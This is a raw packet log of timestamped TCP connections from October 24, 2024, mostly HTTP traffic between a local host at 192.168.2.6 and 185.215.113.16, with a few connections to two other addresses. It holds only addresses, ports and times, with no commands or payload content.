Oct 24, 2024 04:58:15.822226048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822442055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822457075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822473049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822489023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822489023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822503090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822519064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822525024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822531939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.822549105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.822583914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.910373926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910511971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910547018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910582066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910615921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910635948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.910650969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910684109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910689116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.910717964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.910768986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.910768986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:15.941375971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.941416025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:15.941597939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.029550076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029653072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029704094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.029714108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029748917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029783010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029813051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029827118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.029846907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029860020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.029881001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029915094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.029925108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.080281019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.118134022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.118174076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.118211985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.118222952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.148709059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148752928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148760080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.148791075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148827076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148837090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.148859978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148893118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.148931980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.148993015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.149027109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.149035931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.149061918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.149260998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.237406015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.237442017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.237478018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.237503052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.237510920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.237550020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.267986059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268032074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268048048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268145084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.268193007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268237114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.268306017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268321037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268336058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268351078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268364906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.268368006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.268392086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.356705904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.356745958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.356801987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.356806040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.356829882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.356880903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.387475967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387512922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387528896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.387551069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387593031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.387603998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387639046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387681007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.387690067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387722969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387775898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.387801886 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.470992088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.715688944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715707064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715733051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715749025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715764046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.715764999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715783119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715800047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715801001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.715816975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715826988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.715833902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.715858936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716114998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716130972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716159105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716167927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716175079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716192007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716202021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716207981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716224909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716229916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716239929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716257095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.716267109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716298103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.716960907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.717022896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.717246056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.747558117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.747601986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.747638941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.747673035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.747685909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.747726917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.780297995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.780330896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.780386925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.834862947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.834919930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.834952116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.834985971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.835016012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.835052013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.865010977 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:16.865046978 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:16.865106106 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:16.866970062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867002964 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:16.867022991 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:16.867024899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867059946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867074966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.867094994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867126942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867140055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.867161036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.867204905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.954077005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954111099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954144955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954195976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.954200029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954230070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954262972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.954272032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.954303980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.986124039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986176968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986207008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986231089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.986258984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986294031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986326933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:16.986340046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:16.986365080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.034013033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.034045935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.034101963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.073437929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.073471069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.073544025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.224803925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.224900007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.224952936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.224971056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.224988937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225023031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225033045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.225059986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225092888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225128889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225142002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.225162029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225162983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.225308895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225363970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225382090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.225418091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225447893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225481987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225493908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.225518942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.225564957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.312010050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.312045097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.312103987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.313050032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.313081980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.313138962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.343911886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.343951941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344005108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.344373941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344405890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344458103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.344460011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344495058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344531059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.344552040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.432163954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.432187080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.432221889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.432244062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.432255030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.432284117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.463862896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.463928938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.463933945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.463975906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.464010000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.464044094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.464055061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.464078903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.464102030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.464117050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.466562033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.551788092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.551824093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.551853895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.551865101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.583209038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583256960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583286047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583324909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.583328962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583359957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583378077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.583389044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.583411932 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.583420038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.587090969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.628531933 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:17.629003048 CEST	49998	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:17.634361029 CEST	80	49994	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:17.634390116 CEST	80	49998	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:17.634440899 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:17.634464979 CEST	49998	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:17.635623932 CEST	49998	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:17.640914917 CEST	80	49998	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:17.671030998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.671067953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.671103954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.671153069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.702372074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702420950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.702425957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702461004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702493906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702508926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.702528000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702559948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702598095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.702630997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.702642918 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.702665091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.713872910 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:17.713948965 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:17.716100931 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:17.716115952 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:17.716355085 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:17.783541918 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.783545971 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:17.790344000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.790402889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.790437937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.790472984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.821496010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821530104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821553946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.821563959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821638107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.821650982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821685076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821717024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.821731091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.823622942 CEST	49997	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:58:17.862076044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.862116098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.862149000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.862232924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.867336035 CEST	443	49997	104.102.49.254	192.168.2.6
Oct 24, 2024 04:58:17.909713030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.909753084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.909789085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.909847975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.941029072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.941066027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.941104889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.941133022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.941184044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.941219091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.941240072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.941262960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:17.981314898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.981333017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.981353045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:17.981391907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.028879881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.028903008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.028923988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.028934956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.028975010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.060241938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060278893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060333967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060369968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060393095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.060404062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060420036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.060441017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.060486078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:18.100502014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.100562096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:18.100598097 CEST	80	49774	185.215.113.16	192.168.2.6
